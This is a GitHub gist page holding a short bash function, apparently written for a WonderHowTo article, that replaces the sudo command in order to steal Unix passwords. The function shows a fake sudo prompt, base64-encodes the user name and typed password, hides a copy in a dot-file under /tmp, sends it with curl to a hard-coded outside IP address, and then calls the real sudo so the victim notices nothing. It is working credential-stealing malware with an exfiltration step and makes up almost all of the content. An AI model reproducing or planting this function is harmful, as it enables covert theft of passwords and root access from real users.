Skip to content

Instantly share code, notes, and snippets.

@m0zgen
Forked from tokyoneon/sudo
Last active November 18, 2020 06:37
Show Gist options
  • Save m0zgen/c503b37965edd361c5ec307eeeab65cf to your computer and use it in GitHub Desktop.
Save m0zgen/c503b37965edd361c5ec307eeeab65cf to your computer and use it in GitHub Desktop.
Sudo function for stealing Unix passwords; script for WonderHowTo article
function sudo ()
{
realsudo="$(which sudo)"
read -s -p "[sudo] password for $USER: " inputPwd
encoded=$(echo "$USER : $inputPwd" | base64) > /dev/null 2>&1
printf "\n"; printf '%s\n' $encoded >> /tmp/.cached_$USER
curl -s "http://10.211.55.98/$encoded" > /dev/null 2>&1
$realsudo -S -u root bash -c "exit" <<< "$inputPwd" > /dev/null 2>&1
$realsudo "${@:1}"
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment